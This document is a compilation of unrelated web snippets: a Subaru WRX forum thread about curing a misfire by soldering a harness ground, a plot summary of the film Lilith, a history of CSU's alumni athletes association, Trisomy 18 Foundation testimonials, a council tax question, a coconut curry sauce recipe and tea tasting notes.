Ah ok so to update on my previous misfire experience back when I had 9k miles on the car (back in september). I thought it was a tune issue, so I got a protune done and for a while now that misfire issue hasnt come up yet. For the past month my engine idle has been running a bit rough even with the protune. I even got the P0300 cel. I talked to my tuner and even he couldnt figure out the exact cause. As I was planning on scheduling another appointment with my tuner so he can check it out, I remembered about the wiring harness issue. So I looked into it more and found out it was the Ground wire inside the wiring harness to be exact. Its a ground cable that connects to 4 other ground cables. That connection is just clamped on with some metal clip. So that was the cause of the misfire and rough idle. Instead of taking it back to Subaru to have them replace the wiring harness, I just cut open my wiring harness, found the ground cable connection, and added a bit of solder onto that connection point.. And right afterwards the car has been idling like a baby now. I fixed this problem last week when I had about 14.5k miles and since then car still runs like a champ. Usually I would get that rough idle everyday. If you guys dont have mods then I would say take it to the dealership, But I had full bolt ons and didnt want to risk getting denied warranty.

Im going to bet its the wiring harness (grounding wire to be exact). Even though I only got the p0300 cel, fixing the wiring harness totally got rid of that problem.. Its lame how we pay this much for our cars, yet subaru cant ground them properly..
Okay cool, thanks for the replies. I only have an AP + Cobb Intake, so I might take my chances with getting the car fixed under warranty. Especially with my state inspection coming up, I need to get this fixed. With my luck, this CEL would come back right as I'm leaving to go get inspected.
Thanks again for the replies on fixes to this annoying problem!
heres the link to wrxforums from where I was able to fix it myself, if you ever do decide to do it for yourself. I think the OP of that thread also posted it on here and on nasioc as well. But I found that link to be the most helpfull since slushy explained to me on what to do. Im Chochocho on that forum.
13 wrx misfire issue...strange fix
Oh awesome link, if it's that simple, I'm definitely going to give that a try this weekend. The pictures are exactly what I needed

Lilith (1964)
Plot Summary
Lilith is a about a mysterious young woman in an elite sanitarium in Maryland, who seems to weave a magical spell all around her. A restless, but sincere young man with an equally obscure past is seemingly drawn into her web. As time passes, their relationship deepens and intensifies, and the differences between them begin to blur, leading to a shocking, but oddly logical conclusion.- Written by Rhea Worrell <email@example.com>
Ex-soldier Vincent returns home and takes a job at the nearby insane asylum. He enjoys the work and the in-mates like his open friendliness. A particular relationship develops with the beautiful and intelligent Lilith, one that the doctors encourage as it starts to bring Lilith out of her shell. Attractive but withdrawn she has proved something of an enigma for them and they have perhaps not understood that her past and present use and misuse of this same attractiveness could be the key to her problems. They may also be failing to recognise that as Vincent comes under her spell his own behaviour could become dangerously obsessive.- Written by Jeremy Perkins {J-26}
Vincent Bruce, a young Korean War veteran, returns to his Maryland hometown and begins working as an occupational therapist at a nearby elite sanitarium for the wealthy...See full synopsis » (Warning: contains spoilers!)

Ram Alumni Athletes Association formed 30 years ago to reconnect former athletes, maintain CSU's Hall of Fame
Ram Alumni Athletes Association
By John Hirn
CSU Athletics Historian
Take a look inside a small room on the west side of Hughes Stadium at halftime of any CSU football game and you will find several former Aggies and Rams gathering to reminisce about their playing days.
On any given Saturday you will see Aggies that played in the Raisin Bowl like Frank Faucett, or Aggies that played on the 1950 College World Series team like Don Straub, talking to Rams like Kevin McDougal, Mike Newell and Matt Phillips. Former CSU men's and women's athletes gather together to remember and connect with others.
The Ram Alumni Athletes Association was forged with the help of many former athletes like Bill Woods, Ren Jensen, Jim Smith, Alan Ashbaugh and many others. Recently Jim Smith was interviewed about the early beginnings of what was then known as the Former Athletes Association. Smith remembered that he and Ashbaugh had approached then athletic director Fum McGraw in the mid-1980s to investigate forming a club where former athletes could reconnect with their alma mater.
The idea did not take off under McGraw, but when Oval Jaynes took over as the new athletic director in 1987, he saw the need to have former athletes come together again. Jaynes had Smith, Ashbaugh and a few others put together a new organization that would not only reconnect its former athletes, but also form a hall of fame to honor the best athletes of the school's past.
The organization was named the Former Athletes Association and this dedicated group put together lists of the school's former athletes. These lists were forged from the ground up, with people cold-calling former athletes to get their information and put together a list of the men and women that would eventually make up this association.
Jim Smith remembered in a 2015 interview, "We did not have a list of former athletes, so we just looked at the old yearbooks and wrote down the names of the people that were letter winners or just athletes. We did not want to limit the group to just lettermen. From there we started calling them to verify their information to build a formal list. Only about 20 percent of the names we called got us anywhere to build this database."
A committee was formed that included John Toliver, Bob Pike, Dave Yurosek, Frank Faucett, Sharon Rady, Red Eastlack and Norm Cable, along with Smith, Jensen, Woods and Ashbaugh. These people became the first historians for CSU athletics, digging deep into the school's records, yearbooks and photo collections so they could recognize former athletes for the new hall of fame class in 1988.
Alan Ashbaugh, in a 2008 interview looked back at the early days and said, "We combed the library for photos and asked other former athletes to send us their photos so we could build a sense of history."
When it came time to have a hall of fame banquet, Jim Smith was adamant about having it be a formal affair with the men wearing tuxedos and women in formal dresses. It was meant to be a really great event honoring the school's athletic history. It was held at the Holiday Inn (which is now the Hilton) in Fort Collins and although ticket sales were slow to start, they had a sold out dinner for the event.
The organization continued to host its annual hall of fame banquet over the years, but Jim Smith made sure to say in 2015 why the FAA was founded. Smith said, "The main purpose of the FAA was to reconnect former athletes to CSU." He and his fellow former athletes understood that in athletics there is a sense of not only teamwork, but responsibility and togetherness. The athletes of yesterday deserved the ability to keep in touch.
In his 2008 interview Ashbaugh looked back and said, "We also decorated the lounge at Hughes Stadium, fixed it up and made a space where we could have refreshments and get together during the games." John Toliver, a member of the 1933 conference football championship team stood behind that refreshment counter for many years. At one time a sign was made that stated "John's Bar" and proudly hung in the lounge, but like a lot of history it has been lost over time.
As time marched on the organization changed names with several athletic director moves. It went from Former Athletes Association to Varsity Athletes Association and is now known as the Ram Alumni Athletes Association. The purpose of the RAAA is the same as the FAA, to bring former athletes together to reminisce, talk sports and be remembered for all the things they have done at CSU. It also is dedicated to supporting CSU Athletics and continuing the tradition of the sports hall of fame. Former athletes receive their first year's membership free upon graduation in an effort to keep them involved with CSU.
Jim Smith served as president of the association for two years and chairman of the hall of fame selection committee for three years. Smith moved on to help his alma mater establish the Ram Masters golf association to raise money to help fund the CSU golf teams. He has won three Distinguished Alumni Awards and helped raise money for many other CSU Athletics needs. Alan Ashbaugh continued to be an integral part of the association and is the person who started the 35-year-old tradition of the Proud Parent Buttons that remain popular today.

Words cannot begin to express how deeply grateful I am that I found the Trisomy18 Foundation. When I was 6 months pregnant we discovered that my identical twin girls both had trisomy 18. One twin had obvious physical abnormalities that would be incompatible with life if no surgical intervention was done (which no MD would do once the T18 diagnosis was given), and the other showed no physical problems in utero, which led us to want to continue the pregnancy and give our girls every possible chance at survival. The foundation, first and foremost, allowed me to connect with other families who had been through similar experiences, which was huge for me because I felt so alone with this diagnosis- I had never heard of Trisomy 18 before and neither did any of my friends or family members. This proved even more important for me after we lost our twins after birth because what helped me most with the grieving process, even now- 7 years later, was connecting with other parents who had been through this too. Even now I have awesome lifelong friendships with moms who have gone through my similar experience. We contact each other when we need support, and we've been able to share our lives and experiences with each other as we deal with life going on after the death of our children. And I cannot say enough about the foundations president, Victoria Miller. The care and compassion she gave is in our darkest and scariest times made such a world of difference. She even called me personally and gave me tips and advice on how to advocate for my baby girls when they were born. She was absolutely amazing! Although my girls didn't live long in this earth after they were born, the Trisomy 18 Foundation has been a life saver for me and I am thankful every day that myself and countless other families out there continue to have it as a resource.
The Trisomy 18 Foundations gives hope to families blessed with these very special babies. As a grieving parent, I find comfort in the stories shared and support shown by this amazing organization.
When my wife was 22 weeks pregnant, our unborn son was diagnosed with Trisomy 18. At the time, we knew nothing about the disorder and we felt utterly alone. The Trisomy 18 Foundation and its contributors provided us a wealth of information and a glimmer of hope in a hopeless situation. We will forever be grateful for the positive role this community has had in our lives.
The founder of this group has one of the biggest hearts!
When my daughter was first diagnosed in utero with T18 I had no idea what it was. My husband and I quickly searched online for anything we could find to obtain more information. We came across this great organization and learned so much. The comforting thing was that there were many families at different stages and we spent hours pouring through their individual stories. I'm glad that this organization provides valuable information for families.
T18 foundation is an amazing place to get support when facing such an overwhelming diagnosis, loss and struggle. After years of suffering a heartbreaking life changing event they still pick me up. They are a great team.
By far the most instrumental tool in a large bag of methods for my life long healing process.
Previous Stories
I am not much of a writer or a reader however this organization taught me the intense value of both. When I was pregnant and was first told that my baby had a chromosomal disorder, my genetic counselor shared this website with me. In my life I would have never thought that writing and reading would be a lifeline that could help bring me from a depth of despair to comfort and acceptance with lifelong friendships gained. The from the heart sharing of pain as well as medical experiences gave me the sense that I was eventually going to get through it. How can I give trisomy18.org the proper acclimates it deserves. With forever gratitude!
Much love,
Emerson's mom
After learning of our son Aden's T-18 diagnosis, we did a lot of research. This group of amazing people were an invaluable resource to our family. We are blessed by their wonderful support and information during this time. (Aden 5/1/08 full T18)
The Trisomy 18 Foundation was an invaluable resource for or family after our son's diagnosis at twenty-one weeks gestation. It gave us the support and courage to choose life for him. We felt prepared to support him during his brief life.
In 2005 I got the devastating news that the child I was carrying had T18. I had never heard of this, nor had any of my friends or family members. The doctor I had was nice, but did not provide helpful information on how to prepare for what was to come. It was a devastating time, and the only place available for me to turn to for help was the Trisomy 18 Foundation. Though it was the most difficult time in my life, I'm so thankful I had a safe, understanding and compassionate place to turn.

Hi, new to forum.
My question is when do council tax exemptions start /end?
Example 1.
If a bank repossess a property Class L exemption applies.
If you purchase can you apply for a class C or A, to start on the day of purchase. Or did the class A/C exemption start when the Class L exemption started? To get a 6 – 12 month council tax free period to carry out refurbishment.
Example 2.
A property is empty and class I/E (person in hospital/care) has been awarded, The property is exempt for 5 years and then sold.
If you purchase can you apply for a class C or A? Or because the property has been empty for a greater period the property in no longer exempt. And you would be liable for 50% council tax rating from the purchase date while unfurnished and empty?
Or is this ruling open for each individual council to enforce as they feel fit?
I have check the council tax guidance manual (CT_Manual_Sept_08) and cannot find any reference to the concurrent / consecutive question. Any court case examples would be a help.

- 2 limes, zest finely grated
- 1/4 cup vegetable oil
- 1/4 cup curry powder
- 1/4 cup sugar
- 8 large scallions, white and light green parts only, finely chopped
- 4 cups unsweetened coconut milk
- Salt
Using a sharp knife, peel the limes, removing all of the bitter white pith. Working over a bowl, cut in between the membranes to release the sections into the bowl. Finely chop the sections.
Heat the oil in a large saucepan. Add the curry powder and stir over low heat until fragrant, about 5 minutes. Add the chopped lime and lime zest and cook over moderately high heat until the juices have evaporated, about 5 minutes. Add the sugar and stir until melted. Add the scallions and cook, stirring, for 2 minutes. Add the coconut milk and boil over moderately high heat, stirring often, until reduced to 2 1/2 cups, about 15 minutes. Let cool, then season with salt. Transfer to jars and refrigerate.

442 Tasting Notes
I think the person who created this tea is a sushi addict. It is pretty much the perfect tea to sip while munching on rolls and sushi.
Dry, I have a love/hate relationship with this one. I want to love it, and definitely love notes of it, but every time I sniff the leaves I keep changing my mind about how much. I think I'd prefer it as a deodorant scent than a tea (as unappetizing as that is!) It's fresh and clean smelling, but there's just something about it that keeps me from falling in love.
Brewed, it lost some of that weird something and mellowed out scentwise. I definitely can see myself boiling a pot of this to scent my house. Tastewise I find it weaker than I expected, but not in a bad way. I find the mildness actually helped me enjoy the flavour a bit more, keeping the notes from being overpowering.
Splash! isn't one I think I'll be reaching for to sip, or that I will ever crave, but if I have fish meals I think this is going to be the one I serve with it. Am a wee bit afraid to try it iced though!
I'm not a straight white tea lover so I was hesitant when I got this one to try, especially at the price! I used one of the "perfect teaspoon" scoops and wow, what seems like so little dry exploded into these beautiful leaves when they unfurled in brewing. They're clearly so fresh and new and are the most beautiful brewed leaves I think I've seen in a tea. I can't seem to stop running my fingers through them, as weird as that seems.
The tea itself brews to a very nice flavour, not overly strong with no trace of bitterness. The brew is golden in colour and I found that just a half teaspoon of sugar brought out all of the undernotes to make it a delightful cup. I was definitely pleasantly surprised by this one!
